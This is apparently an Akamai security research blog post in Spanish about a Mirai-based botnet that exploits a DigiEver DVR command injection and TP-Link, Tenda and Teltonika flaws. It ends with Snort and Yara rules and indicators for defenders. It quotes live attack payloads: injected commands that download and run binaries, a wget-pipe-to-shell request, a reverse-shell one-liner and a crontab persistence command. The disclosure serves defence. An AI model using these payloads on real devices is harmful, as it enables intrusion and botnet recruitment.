DigiEver soluciona esto del IoT
Resumen ejecutivo
Se está explotando una vulnerabilidad en los DVR DigiEver DS-2105 Pro para propagar malware.
El equipo de investigación de inteligencia en seguridad (SIRT) de Akamai detectó esta actividad en sus señuelos el 18 de noviembre de 2024.
La vulnerabilidad fue descubierta inicialmente por Ta-Lun Yen y el SIRT de Akamai ha solicitado un identificador CVE.
El malware es una variante de Mirai que se ha modificado para utilizar algoritmos de cifrado mejorados.
Hemos incluido una lista de indicadores de compromiso (IoC) en esta entrada de blog para ayudar en la defensa contra esta amenaza.
ADVERTENCIA DE CONTENIDO: Los atacantes responsables de este malware utilizan nombres de contenido que para algunas personas pueden resultar ofensivos. No los hemos ocultado en un esfuerzo por aumentar la detección, ya que esta campaña está activa actualmente a gran escala.
Introducción y detección
A mediados de noviembre de 2024, el SIRT de Akamai descubrió un aumento de la actividad dirigida al URI /cgi-bin/cgi_main.cgi en nuestra red global de señuelos. Esta actividad parece formar parte de una reciente campaña de malware basada en Mirai que se remonta al menos a octubre de 2024.
La vulnerabilidad no tiene una asignación CVE en este momento, pero parece que fue descubierta inicialmente y publicada por Ta-Lun Yen de TXOne Research. En esta publicación, atribuyó esta vulnerabilidad de ejecución remota de código (RCE) a varios dispositivos DVR, incluido el modelo DigiEver DS-2105 Pro. Nuestros analistas determinaron que los intentos de explotación que observamos estaban en consonancia con esta investigación sobre vulnerabilidades publicada.
Las investigaciones adicionales en esta campaña descubrieron una nueva botnet que se llama a sí misma “Botnet Hail Cock” y que ha estado activa desde al menos septiembre de 2024. Mediante el uso de una variante de malware Mirai que incorpora los algoritmos de descifrado ChaCha20 y XOR, se han visto comprometidos dispositivos vulnerables del Internet de las cosas (IoT) en su entorno, como el DVR DigiEver y los dispositivos TP-Link a través de CVE-2023-1389.
La vulnerabilidad
El investigador de TXOne descubrió la vulnerabilidad DigiEver DVR después de examinar algunos rangos de direcciones IP expuestas durante las pruebas de penetración. A través de las consultas de Shodan, pudo identificar muchas de las direcciones IP como dispositivos históricamente vulnerables, como los DVR. Fue capaz de emular el firmware DigiEver DVR y se dio cuenta de que /cgi-bin/cgi_main.cgi era uno de los terminales CGI (Figura 1).
A través de este criterio de valoración, el investigador fue capaz de lograr una RCE (Figura 2).
Explotación activa
El SIRT de Akamai se dio cuenta de que este URI comenzó a ser el objetivo de un atacante desconocido el 18 de noviembre de 2024. Pudimos hacer coincidir la sintaxis de la carga que observamos en nuestros señuelos con la prueba de concepto (PoC) de la investigación publicada (Figura 3).
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Fig. 3: Carga dirigida a la vulnerabilidad de RCE de DigiEver (URL descodificada)
La vulnerabilidad parece permitir la inyección de comandos como argumento en el parámetro ntp. En este ejemplo, llega a un servidor remoto de alojamiento de malware para descargar malware basado en Mirai. Estas sesiones se reciben como solicitudes HTTP POST a través del puerto 80, con “**Dirección IP**:80/cfg_system_time.htm” como encabezado de referencia HTTP.
Además de la vulnerabilidad de RCE de DigiEver, también vemos esta botnet dirigiéndose a otras vulnerabilidades, como CVE-2023-1389, que afecta a los dispositivos TP-Link (Figura 4).
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
Fig. 4: Carga dirigida a CVE-2023-1389
La botnet explota esta vulnerabilidad de inyección de comandos en el terminal /cgi-bin/luci;stok=/locale de la interfaz de gestión web de TP-Link para descargar y ejecutar un script de shell malicioso. Por su parte, este script descarga la carga de malware Mirai y la ejecuta en el sistema de destino (Figura 5).
La botnet también tiene como objetivo la vulnerabilidad de inyección remota de comandos Tenda HG6 v3.3.0 (Figura 6).
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
Fig. 6: Objetivo de carga Tenda HG6
Además de estas vulnerabilidades, hemos observado que esta botnet se dirige a otras, como CVE-2018-17532, que afectan a los routers Teltonika RUT9XX. La vulnerabilidad descarga y ejecuta un script de shell a través de una solicitud wget, que, a su vez, realiza una solicitud adicional para descargar y ejecutar el malware en el equipo de destino (Figura 7).
El malware
Las muestras de malware que identificamos eran variantes de malware basadas en Mirai que se distribuían en diversas arquitecturas, incluidas x86, ARM, MIPS, etc. Un aspecto particularmente interesante acerca de estas muestras fue su uso de XOR y ChaCha20 para su algoritmo de descifrado.
Algunas de las cadenas que se ven en la sección de análisis dinámico, como la salida a la consola de “Ahora eres parte de la botnet Hail Cock” no se podían ver en la sección de cadenas entendibles del malware, ni en las cadenas descodificadas de XOR.
Hemos descubierto que un investigador de seguridad independiente de Japón publicó algunos hallazgos interesantes sobre este malware. Descubrió que el malware estaba descifrando esta cadena y mostrándola en la consola, con la cadena almacenada en el segmento de datos del binario (Figura 8).
Al comprobar dónde se asigna una cadena a esa salida, se muestra la función de descifrado de cadenas (FUN_00408500) y la ubicación de la cadena (DAT_005166a0) como argumento. Después de la inicialización, se utiliza la siguiente función para procesar la cadena cifrada del segundo argumento y almacenarla en la memoria (Figura 9).
Al examinar la función "FUN_00404960," el investigador descubrió que su paso final implica una operación de XOR. En las secciones en las que se utilizan constantes y se convierten en código ASCII, la función devuelve la cadena "EXPAND 32-byte k." Esta cadena es una constante conocida en algoritmos criptográficos como Salsa20 y ChaCha20, lo que indica que la función etiquetada "FUN_00404960" es responsable del descifrado (Figura 10).
Aunque el uso de métodos complejos de descifrado no es nuevo, sugiere que hay tácticas, técnicas y procedimientos en evolución entre los operadores de botnet basados en Mirai. Esto es especialmente significativo porque muchas botnets basadas en Mirai siguen dependiendo de la lógica de ocultación de cadenas original a partir de código reciclado incluido en la versión original del código fuente del malware Mirai.
A partir del análisis de cadenas estáticas, el malware utiliza muchas credenciales predeterminadas o comunes a varios dispositivos para propagar la botnet a hosts adicionales. Se han agregado muchos pares de credenciales nuevos a los originales que se enviaron con Mirai, incluida la cadena “telecomadmin”, por ejemplo, que es el nombre de usuario predeterminado para el kit de terminación de fibra Huawei ONT HG8245H5, y la contraseña predeterminada para algunos routers que utilizan el chipset Realtek.
Detalles del entorno de pruebas
Al ejecutar las muestras de malware en entornos de pruebas dinámicos, pudimos identificar IoC adicionales y cadenas significativas del malware. Uno de estos comportamientos fue la creación de un trabajo cron para descargar y ejecutar un script de shell desde el dominio “hailcocks[.]ru” para mantener la persistencia (Figura 11). Intentará descargar el archivo “wget.sh” desde el mismo servidor mediante curl o wget para garantizar la compatibilidad en caso de que uno de ellos no esté instalado en el host comprometido.
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
Fig. 11: Persistencia a través de Crontab
Tras la ejecución, el malware se conectaba a una mayor variedad de hosts, de manera consistente con los típicos comportamientos Telnet y SSH de Mirai de fuerza bruta . También se conecta a una sola dirección IP por separado con la resolución de registros A al dominio “kingstonwikkerink[.]dyn” para la comunicación de mando y control (C2).
Además, los hosts comprometidos por este malware verán una cadena única impresa en la consola tras la ejecución del malware. Las versiones más antiguas del malware imprimirán la cadena “ahora eres parte de la botnet Hail Cock” (Figura 12). Por su parte, las versiones más recientes del malware imprimirán la cadena “Solo quiero cuidar mis gatos, tío” en la consola (Figura 13).
Conclusión
Los ciberdelincuentes se han aprovechado consistentemente del legado del malware Mirai para perpetuar campañas de botnets durante años, y la nueva botnet Hail Cock no es una excepción. Uno de los métodos más sencillos para que los atacantes pongan en peligro los nuevos hosts es centrarse en el firmware obsoleto o en el hardware descatalogado. El DigiEver DS-2105 Pro, que tiene aproximadamente 10 años de antigüedad, es un ejemplo. Los fabricantes de hardware no siempre publican parches para los dispositivos descatalogados y el propio fabricante a veces puede incluso no existir ya. Por lo tanto, en circunstancias en las que no hay disponibles parches de seguridad y es poco probable que lleguen, recomendamos actualizar los dispositivos vulnerables a un modelo más reciente.
IoC
Hemos incluido una lista de IoC, así como las reglas de Snort y Yara, para ayudar a los expertos en protección.
Reglas de Snort para los IoC de red
Reglas de Snort para las IP C2
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
Reglas de Snort para la detección de resolución de dominio C2
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
Reglas de Yara para muestras de malware
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
Direcciones IPv4 de infraestructura histórica
154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181
Dominios para C2 y terminales de distribución de malware
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
Hashes SHA256
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5